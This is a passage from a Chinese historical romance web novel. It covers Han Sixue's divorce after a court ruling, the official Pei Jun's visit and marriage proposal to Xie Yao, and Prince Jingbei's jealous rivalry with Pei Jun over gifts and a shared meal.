自己,好像误会了。 陆慎言与谢窈不是被靖北王拆散的苦命鸳鸯,而是仇敌关系。 他一身的伤是谢窈主动打的,那他也定然不可能是谢窈喜欢的人! 亏自己居然还对他一顿安慰,真是驴唇不对马嘴。 裴隽很想给自己一巴掌。 见裴隽低头沉思,陆慎言越发觉得自己猜对了。 裴侍郎也和谢窈有仇,所以,他才来探望自己。 他神情从容起来,喋喋不休道:“裴兄你是知道我的,我素来洁身自好,从不去烟花柳巷,谢窈那个贱人,居然找了个风尘女子污我清白,毁我清名——” 裴隽:“陆公子闭嘴吧。” 陆慎言:“呃?裴兄……” 裴隽呼吸沉重,一字一顿:“裴某的意思是,你的嘴受伤了,少说话,多休息为好。” 陆慎言感动地说:“多谢裴兄关心。” 裴隽站起身:“告辞。” 走到一半,他又折返回来,盯着桌上自己买的包子:“这包子还热乎着——” 陆母客套地说:“多谢裴公子关心我儿,只是大夫说了,他养伤期间,要少食荤腥,倒是让裴公子破费了。” “不破费,既然陆公子吃不了,那我就带走了。” 说完,裴隽当着陆家一众人的面,迅速拿起包子,揣入怀中,匆匆离开。 陆家人全都瞠目结舌,大名鼎鼎的户部侍郎,燕国第一才子,来看望病人,居然还把送来的包子……拿了回去? 第二日早朝,庆才公公传了皇帝口谕。 准许韩氏与谢成榆和离,谢家补偿韩家白银千两。 谢成榆不得荫袭,不得科举,不得入朝为官。 不得荫袭,也就是说,就算文昌伯百年后,谢宴死了,伯府男丁都死绝了,只剩下谢成榆,他也不能荫袭为新任文昌伯。 至于文昌伯和谢家二爷,一个家教不严,一个教子无方,罚俸若干。 这样的早朝,靖北王是可参加可不参加的,他不在,皇帝也就没提谢成榆犯了什么错,细说出来,太脏。 朝中的大臣们,全都心知肚明。 庆才说完,谢明安和谢明守叩首认罪,不敢多言半句。 其他大臣也皆称陛下圣明。 韩侍郎却出列道:“陛下,臣家里不缺银两,臣只希望经此一事,谢家能善待臣妹,除此之外,别无他求。” 他的意思是,不和离,也不要伯府补偿韩家银两。 在燕国,女子和离与被休没什么区别,尤其是韩家世代为官,丢不起这个人,家中耆老也不允许妹妹和离后回家。 韩思齐内心自我安慰:这次文昌伯府都被皇帝诘问了,以后妹妹留在伯府,日子一定会变好的。 皇帝啧了一声:“既然韩爱卿愿意和解,此事你们私下解决吧。” 裴隽看着韩思齐,默默摇了摇头。 自己妹妹受到委屈,被谢家人欺负到头上了,他不说要谢家道歉,还不赞成和离,甚至连一千两银子都不要,真是迂腐糊涂,软到家了。 谢明安站起来拱手:“韩侍郎高义,老夫惭愧,惭愧啊,老夫回去后一定告诫成榆,绝不让韩氏再受半分委屈。” 韩思齐轻哼一声,没有言语。 下了朝,他走到谢明安身边。 谢明安正要开口,韩思齐故意不理会,猛地甩手,大步离开。 这是在给他妹妹撑场子,告诉他,虽然韩家不屑谢家的补偿,但也不是好惹的。 看到韩侍郎的举动,周围人管眼观鼻,也绕着谢明安走。 “都怪你儿子干的好事,看看吧,如今谁还敢与咱们谢家往来?”谢明安沉声道。 谢家二爷低头不语。 他有什么办法,他儿子现在还昏迷着呢,说不定过两天人就没了,大哥只是失去一年俸禄,谢家只是丢了点人而已,他可是死了个儿子啊。 “伯爷,经此一事,谢家虽然名声有损,焉知不能因祸得福?”裴隽忽然出现在谢明安身旁,温声道。 谢明安是礼部侍郎,裴隽是户部侍郎,两人平时并无交集。 谢伯爷一时之间愣住了。 半晌,他才一脸虚心地问:“裴侍郎此言何意?” 裴隽道:“陛下最恨世家大族之间互相结亲,结党营私,壮大势力,伯爷你看,你们谢家如今和韩家闹成这样,不是正好嘛。” 谢明安恍然大悟,连忙点头。 “裴侍郎不愧是我大燕第一才子,真是字字玑珠,让老夫茅塞顿开。” “伯爷谬赞了。” 两人一路同行,越说越投机。 不多时,谢明安俨然把裴隽当成了忘年交。 走出宫门,谢明安热情地邀请:“老夫与裴侍郎同朝为官多年,居然今日才知,知己就在眼前,裴侍郎可否赏脸来伯府,你我畅怀痛饮,再论古今?” 裴隽:“晚辈恭敬不如从命。” 就这样,他被光明正大地邀请到伯府。 两人在书斋聊了整整两个时辰,文昌伯口干舌燥,说累了。 裴隽这才不经意地问:“早就听闻伯爷后宅有一池碧水,秋日垂钓,亦不失风雅,不知晚辈能否有幸一观?” 谢明安不疑有他,叫来两名家丁:“你二人,带裴侍郎去后花园。” 裴隽和伯府家丁来到伯府后花园,逛着逛着,裴隽指着一处院子:“那院子清幽,不知是何人在住?” 家丁知无不言:“那是静竹轩,以前是伯夫人住的,自从二小姐回府后,伯夫人和二小姐一起住到了晚香院,静竹轩就空闲下来了。” 没等裴隽再问,家丁已经打开话匣子:“远处更大那个院落就是晚香院,旁边是我们老夫人的暖阁。” 此刻,晚香院内,谢窈正在练刀。 韩思雪、蒲苇、桑若、忍冬,还有七两,四个女孩子,都围在她身边。 第57章 未来丞相?母亲区别对待? 今天一早,韩家人就来了。 只不过,来的不是韩思齐,而是韩家老管事和两名下人。 管事将早朝上发生的事,如实禀告。 韩思雪不可思议地问:“你是说,兄长不仅不要谢家银两补偿,还不让我和离,要我继续留在谢家?” 管事叹道:“大小姐,您受了委屈是真,姑爷确实做得不对,但和离?咱们韩家是京中望族,家中嫡女居然与夫君和离,实在丢脸。” “听老奴一句劝,夫妻哪有隔夜仇,有些事忍忍就过去了,安安分分地过日子,比什么都强。” 韩思雪红了眼眶,质问道:“你说的是兄长的意思?还是父亲母亲的意思?” 管事回道:“老爷夫人,还有韩侍郎当然惦记着您,但您已经是夫家的人了,娘家哪好再插手这些。” 谢窈出面,问道:“你们韩家不知道吗,谢成榆,挨了军棍又被文昌伯家法打断两条腿,现在还瘫在床上昏迷不醒,已经快不行了。” 管事懵了。 昨天,伯府的事情流传出去,全京城都知道了姑爷觊觎堂妹,闯进堂妹闺房的事。 侍郎发了好大的火,说要替大小姐出气,上朝回来后,却变了态度,交代他来劝大小姐,能不和离,就不和离。 他只知道姑爷被谢家管教了,还真不知道姑爷已经快死了。 这要是死了,那…… 韩思雪稳住呼吸,冷声道:“若不让我和谢成榆和离,改日,我就成为寡妇回家。” 管事连忙掏出一包银子。 “这是老爷给您的一点体恤银子,原本是想让您继续在谢家过日子,既然姑,既然谢公子已经不行了,那咱还是和离吧,只是……” 他想起老爷的交代,虽然面露不忍,但还是结结巴巴地说:“只是,真要和离了,您回哪儿去?” 回哪去,肯定是不能回韩家的。 “这点银子,大小姐您先用着——” “啪!” 韩思雪狠狠将银两打掉,眼眶通红,却强忍着泪水。 “滚,你给我滚!” “滚回去告诉父亲母亲,还有兄长,我韩思雪以后,就是成了寡妇,就是自立女户,街头乞讨,也不麻烦你们韩家!” 韩思雪还没说,谢成榆胸口有一刀是她捅的,管事就灰溜溜地离开了。 人走之后,韩思雪终于忍不住,扑到谢窈怀中,眼泪夺眶而出。 “他们是我的家人啊,从前,他们说我是掌上明珠,兄长说谢成榆敢负我,他必然不容,可为什么现在,我只是嫁人了而已,他们就都不要我了。” 屋内,许素素看着外面的情景,眼底的光亮逐渐黯淡下去,默默地关上了窗户。 谢成榆人都快死了,名声也尽毁,韩家为了脸面,还让自己女儿忍耐,不和离。 韩家尚且如此,她身上牵扯太多,又如何能离开谢家这个牢笼。 她注定要一生被困在谢家。 等韩思雪哭完了,谢窈捡起地上的银两,塞回她手里。 “他们不要你,还有我。” “今日,不是他们把你抛弃了,而是你不要他们了。” 她嘴笨,不太会安慰女孩,但韩思雪听到这两句话,忽然止住了眼泪。 谢窈想了想,又说,不管谢成榆是死是活,等和离后,许家有药材铺,点心铺,钱庄,布庄,任她挑选,总归不可能让她沿街乞讨的。 韩思雪听到这话,又要哭了。 谢窈再哄了一会儿,这才开始练刀。 练刀,不是舞刀。 刀法虽然是大将军教的,但其实,没有什么玄妙的地方。 大将军曾说,他是被先帝送到北境后,才真正开始练武,学的就是最普通的军中枪法刀法,人杀的多了,刀就练出来了。 谢窈的招式也是如此,并不花哨,但大开大合,杀气凛然。 “二小姐威武!” “小姐好刀法!” 七两等人站得远远的,虽然看不懂,但还是激动地喝彩叫好。 韩思雪看入了神,她以前也见过谢成榆练剑,倒是练得很漂亮,但和阿窈妹妹相比,谢窈一刀下去,谢成榆估计得裂开。 “好刀法!” 一道清润的声音,从附近传来。 谢窈早就察觉到有人靠近,听到来人还敢说话,顿时一刀挥过去—— 裴隽吓得魂儿都没了,当场蹲下,双手抱头:“刀下留人,我只是路过!” 刀刃停在他头顶。 谢窈眯起眸子,仍旧将刀锋对准他。 七两第一个冲上前:“什么人,胆敢擅闯晚香院!” 裴隽站起身,露出清俊无俦的容颜,让七两愣住了。 好俊秀的男子。 “在下裴隽,见过谢二小姐。”裴隽定了定神,眼也不眨地望着谢窈,声音微沉。 这些日子里,他早已听到过无数次熟悉的名字,但属实……与她太久没有见面。 上一次见谢窈,还是九年前,她被谢家送去健妇营那天。 他徒步追了十几里,最终,看着谢窈与健妇营的队伍,渐行渐远。 眼前已经长大成人的姑娘,尚有年幼时娇憨的影子,那双顾盼生姿的眼眸,灼灼芳华,艳似骄阳。 谢窈却不知道裴隽内心在想什么,只是听到这个名字,诧异地挑起眉。 大燕第一才子,她自然有所耳闻。 何况,前世陆慎言视裴隽为目标往上爬。 在她死的时候,陆慎言做到了四品吏部侍郎的职位。 而那时,裴隽,已经是燕国最年轻的丞相! 谢窈盯着裴隽,他身长玉立,一身靛青竹纹襕袍,腰身只有条深色革带,衬得蜂腰窄背,清逸似谪仙。 她眼前恍惚了一下,仿佛看见前世的陆慎言,站在自己面前。 从前,谢窈最喜欢这样风姿的男子。 都怪颜娘总跟她一起,在酒肆听说书先生讲那些才子佳人的话本子。 但是现在,看清陆慎言嘴脸的谢窈,再看这些文质彬彬,端方如玉的文人,心里只有一句话: 会咬人的狗,不叫。 哪怕裴隽是未来燕国丞相,她也面容冷淡:“这里是谢家后宅,裴侍郎怎么会出现在这里?” 裴隽敏锐地察觉到谢窈态度的变化,弯了弯唇角,笑道:“裴某在后花园逛得口渴,来向伯夫人,谢二小姐讨杯水喝。” 谢窈正要说你口渴,跟我有什么关系,许素素就走出房门。 “母亲。”她顿时笑盈盈地唤道。 许素素看都不看她,而是吩咐:“桑若,给裴侍郎备茶。” 裴隽端坐到院内的石凳上,露出雪白的牙齿,笑容温润:“谢过伯夫人。” 片刻后,桑若将茶端来。 用的是青山白玉云纹的茶具,茶香清洌,是上好的雪前雀舌。 谢窈酸了。 第58章 母亲相看,裴隽要帮她拒婚? 裴隽什么层次啊,母亲居然用这么好的茶具茶叶招待他,对他的态度,比对自己还好! 见许素素亲自奉茶,裴隽连忙起身:“伯夫人太客气了,晚辈自己来吧。” 许素素微微颔首,坐在了裴隽对面,又看了一眼谢窈:“你坐下。” 谢窈受宠若惊,弯眸坐到母亲身边。 裴隽刚要喝茶,许素素忽然开口:“裴侍郎怎么会来逛伯府的后花园,又怎么正好来晚香院讨水?” 裴隽:“是伯爷相邀晚辈来伯府洽谈,又说后花园的秋景别有一番风趣,晚辈在花园逛累了,恰好看见了伯夫人的院子,这才前来。” 谢窈眯起眸子,冷声道:“撒谎。” “你来时脚步轻快,没有半分犹豫,哪里是恰好,分明是故意来的。” 许素素眼神微深,望着裴隽的目光,更多了几分审视。 裴隽唇角带笑,温和地点头。 “谢二小姐慧眼如炬,确实,我此行的目的,就是晚香院。” 既然他承认了,谢窈也就直言道:“裴侍郎是奉陛下之命,来一探伯府虚实的吧,怎么只探我,不探别人?” 裴隽咳了咳:“谢二小姐误会了,我其实,是特意来见伯夫人的。” 许素素愣住:“我?” 裴隽站起身,一撩衣摆,深深地叩首:“伯夫人,晚辈年幼时,曾受了您的一饭之恩。” 他说:“十一年前,云鹤楼,晚辈偷偷捡别人不要的剩包子,伯夫人看见后,将一桌饭菜分了许多给我,还问了我姓名。” “你是那个……”许素素想起了那个小乞丐,“当时,你说你姓沈?” 那时候,先帝还没有给沈家平反,她听到这小乞丐说自己姓沈,心想沈家虽然有罪,但孩子无辜,也没有声张,只是叹息他也是个可怜人。 裴隽道:“沈是晚辈母亲的姓氏,当年,裴家因沈家的事获罪,父亲病逝后,族人四散,晚辈也流落街头。” 十几年前,沈家涉及谋逆,被先帝满门抄斩。 连沈皇后也被赐死,身为沈皇后子嗣的长公主和五皇子,同样被陛下不喜。 如果靖北侯萧家护下五皇子,可能都没有后来的皇帝了。 裴隽的母亲,是沈皇后的庶妹,虽然已经嫁为人妇,但夫家仍不免被沈家牵连。 谢窈回想了起来,裴隽那顿饭,还是她求母亲请的。 换言之,裴隽不止是来谢母亲的,还是来谢自己。 谢窈记得,后来,那个小乞丐还跟她回到了棠柳巷,经常在街头巷尾出现。 有一次,她看见小乞丐躲在窗下,居然在偷听学塾先生的课。 原来名冠京城的裴侍郎,就是曾经那个在谢家偷学的小乞丐。 谢窈内心有些许唏嘘。 许素素将裴隽扶起来:“裴侍郎请起吧,当年我只是举手之劳,不足挂齿。” “如果不是伯夫人,晚辈可能已经饿死了,虽然是您的举手之劳,但对晚辈来说,是救命之恩。”他说。 许素素温声问:“裴侍郎当年过得如此艰难,不知现在,你家中如何?” 裴隽眸子闪了闪。 他看出了许素素的想法,原本平静的内心骤然激荡起来,连端着茶盏的指尖都在颤抖。 只是,他向来克制内敛,即便心中澎湃,面上仍旧维持着温润谦和的微笑。 他放下茶盏,没有任何不耐,恭敬地回答:“家中母亲尚在,身体康健,身边有一老嬷嬷,两位老仆,两名小厮照看,裴家其他族人,倒是不剩什么了,因此,裴家的祖宅田产,也都在晚辈手中。” “晚辈如今是正四品户部侍郎,月俸十二两,虽然比不上伯爷还有爵禄,但所幸年轻,若再勤奋一些,还能够得上更高的位置。” 许素素倒不在乎裴隽的俸银,毕竟谁家也没有她有钱。 “裴侍郎年纪轻轻,难道家中没有侍妾?” “晚辈喜欢大雁,一生忠贞一人,只求娶正妻,不纳妾。” “你家里仆人只有个老嬷嬷,其他都是男子吗,这可不太方便,得需要些丫鬟才好。” “没有什么方不方便的,晚辈不挑人伺候。不过,家中后宅一切事务,以后都是要交给妻子打理的,她若喜欢,就是择十八个丫鬟放在她房中照顾她,晚辈也养得起。” 忍冬听到这里,噗嗤笑了。 谢窈却越听越觉得奇怪,母亲不是喜欢打听别人私事的性子,为何一直问个不停? 裴隽也是,跟倒豆子似的说个不停,他和母亲很熟吗。 这两人一问一答,全都话里有话。 畅聊了半天,裴隽站起身,仍旧客气:“伯夫人,晚辈还是上朝前垫了两口汤饼,如今饥肠辘辘,就先告辞了。” 许素素眼神透着满意。 “晚香院有小厨房,裴侍郎不必客气,留下来,一起用个午饭吧。” 裴隽立即坐回去:“那就劳烦伯夫人了。” 许素素带着桑若去准备饭食,还带走了韩思雪,临走时,朝谢窈使劲使了个眼色。 谢窈一脸迷茫。 “奴婢想起伯夫人今天的药还没吃,奴婢去煎药。”忍冬也走了,走的时候,对她点了点头。 谢窈仍旧不解。 院内,只剩下她和裴隽。 一盏热茶,已经寒凉如冰,裴隽喝了一个时辰也没喝完。 谢窈摇了摇头,这种手不能提肩不能挑说话还磨磨唧唧的文人,她如今最看不上了。 虽然小乞丐,不,裴侍郎容貌确实出众…… 裴隽将冷茶饮尽,心中的火热终于平息些许。 他目光灼灼,开口道:“谢二小姐,伯夫人对我有一饭之恩,你亦是如此,所以……我愿意想办法,帮你和靖北王解除赐婚。” 没等谢窈回答,他又补充:“绝不是抗旨,也不会让你受到任何损失,最多是谢家会被陛下猜忌,问责一番,但不会有大碍。” 谢窈倒巴不得谢家有大碍。 如果她抗旨发疯,能换谢家满门抄斩,然后自己和母亲还能安然无恙,她立即抗旨。 她和裴隽对视。 这个男子眼底澄澈,眼神坦坦荡荡。 看得出来,他是真心想帮自己。 这时,七两忽然赶来通报:“小姐,宫里来赏赐了。” 第59章 王爷来送马,本王也不老 “宫里?给谁的赏赐,人到了吗?”谢窈问道。 七两:“小的刚才去偏门扛这个月晚香院的柴火,看见伯爷和二爷在和两名皇宫穿着的人交谈,乌泱泱一群人,说是陛下给伯府的恩典。” “小的急着回来告诉小姐,没来得及看清到底是什么人。” 裴隽适时地开口:“昨日靖北王进宫了,或许是他跟陛下求来的赏赐,毕竟,即便谢成榆有错,谢家也是他的亲家。” 谢窈才知道,箫熠之真的进了宫。 她唇角微微上扬。 但谢窈却不觉得,箫熠之会替伯府要什么赏赐。 那人,做任何事都仅凭个人喜恶,根本不在乎什么亲家不亲家。 她这才问道:“裴侍郎为何要帮我解除赐婚?” 裴隽凝视着谢窈:“我说了,你和伯夫人都对我有恩,如果你不愿嫁给靖北王,我一定尽力周旋,不让你嫁给他。谢二小姐可以当成……我在报恩。” “你要怎么做?去求皇上吗,哦对,裴侍郎其实算是皇上的表弟,确实深受皇上信任,有几分人情。” 裴隽轻轻摇头:“人情这种东西,有人在,才有情,沈皇后已经薨逝多年,陛下也从没有把我当成表弟。” 说着,他毫无隐瞒,全盘托出:“陛下忌惮靖北王,不愿靖北王的亲家过于强势,此次我来伯府,就是替陛下探路。” 谢窈:“这我知道,不过,还是要多谢裴侍郎告知。” 她没说,皇帝甚至已经暗中派了御鹰司的探子,来探查伯府。 还是箫熠之提醒了她,才能让她当时假扮御鹰司之人,诈出了王管事的三封供状。 裴隽再道:“只要我禀告陛下,说伯府家财颇丰,再说文昌伯心有沟壑,野心勃勃,妄图对我行贿,还勾结太后的人,陛下知道后,就会犹豫这桩亲事。” “到时候,随便找个什么理由,此事也就不了了之了。” 裴隽望着谢窈,眼底锋芒毕露,一字一顿:“只要你说,你不愿嫁给靖北王。” 谢窈陷入了沉思。 裴隽的提议,她确实心动了。 前世箫熠之进宫,说他不娶谢家女,是一力承担了抗旨的罪名。 裴隽这个方式,则不需要箫熠之,还能顺势坑到伯府。 但是很快,谢窈就回过神。 她眼底清明:“裴侍郎,你为何会觉得,我不愿意嫁给靖北王呢?” “王府水深,靖北王的身体又不太好。” 裴隽的话,倒没有看不起靖北王的意思,只是陈述一个事实。 忽然,谢窈耳朵动了动,语气感慨:“可我只是文昌伯府一个小小弱女子,能嫁给靖北王,已经是高攀了,我实在不敢奢求太多。” 裴隽微微皱眉,不知她为何故作柔弱,但还是认真地说:“或许在别人眼中,你是高攀靖北王,但在我看来,谢窈,你还年轻,嫁给他,是明珠蒙尘。” “本王才二十四岁,也不老啊。” 一道低沉寒冽的声音,从两人身后传来。 谢窈回过头,就见白术推着轮椅,出现在晚香院门口。 靖北王端坐在轮椅上,眼神冰冷深沉,面容一如既往的淡漠。 一身绛紫云纹薄氅,紫金冠,鼻若悬胆,修罗玉面。 身后,仍跟着一队人高马大的王府亲卫。 “下官见过靖北王。”裴隽站起身,拱手行礼。 箫熠之眯起眸子,盯着他。 他没有让裴隽免礼,裴隽只能一直维持躬身拱手的动作。 熟悉靖北王的朝臣都知道,这是王爷惯于折磨人的方式。 白术:“裴侍郎,敢问你今年多大?” “下官二十二岁。” 白术面无表情地说:“王爷二十二岁时建立的功业,打下的城池,裴侍郎怕是这辈子也难以企及。” “下官不敢与王爷相比。”裴隽低着头。 白术:“确实比不了。” 箫熠之仍旧不让他站直,冷冷地吐出两个字:“呵呵。” 裴隽立在院内,他左手覆在右手上,指尖齐平衣襟,背脊躬身却不僵硬,动作比礼部所著的礼仪图画还标准。 一阵寒风掠过,半炷香时辰过后,他衣袂轻晃,鼻尖渗出冷汗。 即便如此,裴隽清俊的脸庞仍旧淡然,仿佛天上皎月,飘逸清冷。 其实在箫熠之出现之前,谢窈已经有所察觉,才会忽然说自己只是个柔弱女子。 归根到底,裴隽是因为接她的话,才得罪了靖北王。 “王爷……” 她沉吟片刻,正要替裴隽解围,箫熠之忽然开口:“本王是替皇上来给谢二小姐送礼物赏赐的。” 谢窈眨了眨眼睛:“什么礼物?” 白术立即说:“是八匹西戎进献的汗血宝马,还有八副配套的鞍辔,出自御造局。” 谢窈双眼霎时间放光:“多谢陛下,多谢王爷,马在哪儿,我现在可以去看看吗?” “两匹尚幼的骏马,有些水土不服,先在王府后山的马场养着,等您入府后再看,剩下六匹,王爷已经让白蔹给您送到伯府马厩了,对了,还有两名专门负责饲养马匹的宫人,一起被王、被皇上赐给了您。” “八匹马,是独独送给我一个人的吗,也就是说刚才父亲在门口迎接的,是那两名宫人?”谢窈迫不及待地要去看马。 白术点头:“这是王爷为谢二小姐挑选的礼物,出自御马监,文昌伯当然要恭敬地迎接。” 闻言,谢窈昳丽的容颜洋溢起笑容,如秋月春花,璀璨生光。 她喜欢马,之前在军中,大将军送给她一匹枣红骏马,名叫燎原,可惜因为入京不便,燎原被她留在了边境。 何况,白术说箫熠之还送了她两名饲马宫人,就是七两刚才在伯府门口看见的两人。 这确实是箫熠之跟皇上要的赏赐,但只给她一个人,和伯府无关。 谢明安那么恭敬地迎接了宫人和马匹,得知是给她的之后,怕是又要内心郁结。 “裴侍郎怎么见到本王行这么久的礼,太客气了,免礼。” 箫熠之脸上的冰霜终于融化,淡声让裴隽结束行礼。绯薄的唇,上扬起一抹柔和的弧度,含笑望着谢窈:“对,八匹,都是给你的。” 看到谢窈漆黑剔透的眼眸亮晶晶的,像西戎人进献的宝石,靖北王心里经年笼罩的阴霾,忽然散去许多,仿佛被她的笑意点亮。 什么柔弱女子,是假的。 但她的高兴,是真的。 那这八匹马送的,就很值得。 “臣妇见过王爷——” 许素素走出来,看见靖北王,先是一惊,立即欠身行礼。 箫熠之让白术推动轮椅,来到她面前。 他轻提一口气,俯下身,手臂伸直,手背绷起淡青色的筋络,轻轻地扶着许素素,面容平静从容。 白术担忧地看着王爷。 坐在轮椅上弯腰,并且扶起别人,常人来做很简单,但只有他这样的贴身侍卫知道,这个动作,对双腿不能行走的王爷来说很费力,而且,也不太雅观。 可王爷还是做了。 “一家人,伯夫人不必多礼。”箫熠之说道。 第60章 裴隽求娶,王爷急了 许素素被箫熠之扶起来,却忍不住望着王爷轮椅上的双腿。 这双腿,真的不能站起来吗。 她暗自叹了一口气,再看旁边的裴隽,眼底有几分可惜。 原本看出裴隽来晚香院,是对女儿另有目的,她又知道,女儿最喜欢这样温文儒雅的文人,才对他一阵相看。 如果女儿真的对裴隽有意,裴隽又愿意为她周旋,改变皇帝的赐婚,那她当然高兴。 且不说靖北王的名声与各种可怖传言,任凭谁家姑娘的母亲,只要是母亲,就不希望自己女儿,嫁给一个双腿残疾的人。 但现在,见靖北王这样的态度,她又觉得,或许,此人也可以成为女儿的良配。 至少女儿武功高强,靖北王要是真敢欺负她,她能揍他一顿,他只能在轮椅上受着…… “饭席已经备好,阿窈,去净手,吃饭了。”许素素淡淡地说。 谢窈:“好嘞。” “多谢伯夫人款待,本王恭敬不如从命。”箫熠之直起腰,继续端坐在轮椅上,没等许素素叫,就自己把自己归在也去吃饭的行列里。 见谢窈听许素素说句吃饭就眉开眼笑,他若有所思地垂下眼眸。 裴隽还站在原地。 谢窈主动开口:“裴侍郎之前说的,是真的吗?” 裴隽:“什么?” “文昌伯野心勃勃,对你行贿,还勾结太后的人。” “可以是真的,”裴隽说道,“谢伯爷能将自己庶女的名字,塞进太后替陛下选进宫女子的名册里,即便没有证据,也能证明他一定和太后的人有关。” 谢窈微微一笑:“太好了,那还要劳烦裴侍郎,将这些如实告诉皇上。” 裴隽怔住片刻,眼神乍然明亮:“谢二小姐的意思是,你不愿意——” 难道,谢窈真的不愿意嫁给靖北王,同意了他的提议? 箫熠之黑眸幽深,却没有任何波澜。 他的王妃多聪明,他知道。 谢窈既然敢在自己面前,和裴隽讨论这些,有些事,就不用再证明什么了。 果然,谢窈说:“裴侍郎应该明白,我,愿意。” 她愿意嫁给箫熠之,和她想借裴隽之口,再坑伯府一笔,没有冲突。 裴隽的眼神蓦地黯淡下去,却有些不解,为什么谢窈身为谢家二小姐,会让他在皇上面前说谢家不好。 谢窈又道:“何况,裴侍郎再想想,皇上是让你来伯府一探究竟,但有些事,他难道不知道?皇上金口玉言,且已经宣旨,就算你说了那些,你认为,皇上会收回成命?” 她轻轻摇了摇头:“不会的。” 就像是前世,即便她当众说她已经有了心仪之人,如果箫熠之不进宫大闹抗旨,他们还是会成亲。 归根到底,因为前世的她,说话没有分量。 一个后宅妇人,伯府二小姐的话,说的再惊世骇俗,再动听,也没人会听。 裴隽说的话,皇上或许会信,会听,但同样不够分量。 这桩亲事,除非箫熠之主动抗拒,否则,并没有更改的余地。 裴隽张了张口,深吸一口气:“谢二小姐说的对,是我太天真了,但是,我还有一个办法。” 他眼神坚定,甚至带着视死如归,字句清晰铿锵:“我愿求娶谢二小姐为妻,还是那句话,只要,你说自己不愿。” 他只想知道谢窈的心意,希望她能随心而活。 如果她不愿意嫁给靖北王,就算此刻是在靖北王面前,他也不会退缩半步。 之前裴隽和许素素一问一答那些话,谢窈都很迷惑。 但是现在,还没等裴隽说出口,她忽然悟了。 因为陆慎言求娶她的时候,也是这样看她! 只不过,裴隽眼神并没有陆慎言那样的侵略性,而是透着温润的请求。 ——他第二个办法是,他当第二个陆慎言,给靖北王戴一顶绿帽子,这样,靖北王就会主动放弃。 但是,箫熠之就在他面前,他怎么敢说的! 箫熠之黑沉的眼底,陡然翻涌起阴冷的风暴。 “裴隽,你是在找死。” 他不等谢窈回答,喑哑幽冷的声音,如同实质的杀意,将裴隽笼罩。 箫熠之极力克制,才没有说出:本王的人,你也敢抢。 因为他知道,谢窈即便愿意嫁给自己,她,也是自由的。 她不是柔弱攀附的菟丝花,不是他的附属品,她只属于她自己。 白术瞬间拔刀,架在了裴隽脖子上:“裴侍郎,你在僭越,是以为王爷不敢杀你?” 只要王爷一声令下,他手起刀落,就割断裴侍郎的脖子。 死在王爷手里的亲王,也有一掌之数,一个四品侍郎,固然名声显赫,但王爷就是杀了,皇帝最多只会问责几句。 不管是箫熠之还是白术,都是战场上历练过的人,周身杀意和戾气,根本不是一个文人能承受的。 刀刃冰凉入骨,裴隽脖颈的毛孔紧缩,呼吸都困难起来。 却他仍强撑着身体,身姿如松如竹,面容清冷,不卑不亢。 他甚至,扬起一抹温润飘逸的笑,一字一顿:“靖北王急了?” 这个靖北王,又冷又硬,他一说要求娶谢窈,怎么不等谢窈回答,就急了? 两个男人的眼神,仿佛无声剑刃,在空中交锋对峙。 “饭菜要凉了,王爷不去吃吗。” 许素素终于开口,她要是再不说话,怕裴隽这小伙子,今日就要命丧晚香院。 虽然看起来女儿和靖北王的事已成定局,裴隽是没可能了,但这孩子倒是温和有礼,还吃过自己一碗饭,那她就不能看着他死在眼前。 箫熠之周身的寒冷戾气,忽然烟消云散。 “是,本王马上来。”他也扬起唇角,温声应道。 刚才的一切,仿佛只是一场错觉,靖北王又变回了那个有些沉郁暮气,苍白俊美,神情沉静的箫熠之。 甚至面对许素素,他语气还很温和。 裴隽感觉自己周身倏然松快,一时之间,他呼吸急促了些许,脸色微微发白。 谢窈道:“裴侍郎不必说笑,还有半个月,就是冬月十八,我和王爷成亲的日子了。” 裴隽眼里的光,慢慢熄灭了。 不过,他没有表现出任何被拒绝的羞怒或不甘。 只见靖北王悠然地坐在轮椅上,让白术推自己去饭厅。 路过裴隽的时候,箫熠之气定神闲地反问:“裴侍郎,本王与王妃岳母一家人一起吃饭,你这个外人,怎么还有脸站在这儿?” 第61章 王爷和裴侍郎拼饭量?为了她 裴隽淡然清冷的面容,出现了一丝裂痕。 虽然许素素一开始邀请了他用饭,但正如靖北王所说,他们是一家人,他一个外人,在这儿算什么? 他应该离开的。 但是,仅仅通过一个呼吸,裴隽就调整了神态,弯眸道:“还要多谢伯夫人,能让晚辈留下用饭。” 许素素没说什么。 之前她说了让裴隽留下,现在他不走,她也不会因为靖北王而把人赶走。 箫熠之发出一声冷笑,黑眸凉飕飕的,道:“吃吧,多吃点,不知道的还以为皇上连俸禄都发不起,让臣子来别人家里蹭饭。” “对了,本月十八,是本王与谢二小姐的大婚之日,裴侍郎可一定要来观礼,最好是来赋诗一首,才不堕大燕文人才子之名。” 裴隽仿佛听不出靖北王话语中的讥讽,面带腼腆温和的笑意:“谢二小姐大婚,下官自然是要来的。” 几人来到饭厅,这还是谢窈回京后,第一次和母亲同桌吃饭,她珍惜地放慢动作。 裴侍郎却像是饿极了,一口气干了一碗饭。 他举起空碗,温声道:“伯夫人小厨房的饭菜真香,可否再给晚辈一碗?” 桑若连忙给他盛饭。 箫熠之拧起眉头,盯着自己的饭碗。 这饭菜确实不错,但是,他并没有什么胃口。 然后,箫熠之道:“岳母大人的饭菜甚佳,给本王再盛半碗。” 裴隽:“伯夫人这道炙羊肉堪比宫中佳肴啊,晚辈不小心又吃了一些,能否……” 箫熠之:“给本王再盛半碗。” 裴隽:“这鱼真是鲜美,佐以鱼汤,确实下饭,桑若姑娘再给在下盛半碗可好?” 箫熠之:“给本王再盛半碗。” 站在身后的白术已经陷入呆滞。 王爷平时用半碗饭都算多的,今天,这是第一个半碗了? 难道,是文昌伯府的饭菜太好吃了? 这要是让王府的大厨们知道,得惊呆了,肯定很想来伯府偷师。 一顿饭,吃到最后,许素素摇了摇头,去休息了。 谢窈起身,去找韩思雪,要她跟自己一起去马厩看马。 饭厅内,只剩裴隽和箫熠之还在莫名其妙地干饭。 谢窈回头望去,望着这两个男人,低声道:“之前给王爷带云鹤楼的饭食,他吃的不算多,今天母亲这里的饭菜,倒是合他胃口。” 韩思雪虽然不在饭席上,听她这么说,却也明白了什么。 “傻妹妹,裴隽是故意的,他在帮你。”她说。 “帮我?” “靖北王平时肯定吃不了那么多,但有裴隽在,他总不能被一个文人比下去,必然是要争这一口气的,同样的,他也是在告诉你和伯夫人,他的身体比裴隽好。” “裴隽是在故意激靖北王,王爷也愿意被他激怒,证明他在乎你,你在他心里,有分量。” 谢窈有所明悟,颔首道:“确实是这个道理。” 韩思雪笑了笑,打算再跟她说一些女子后宅的生存之道。 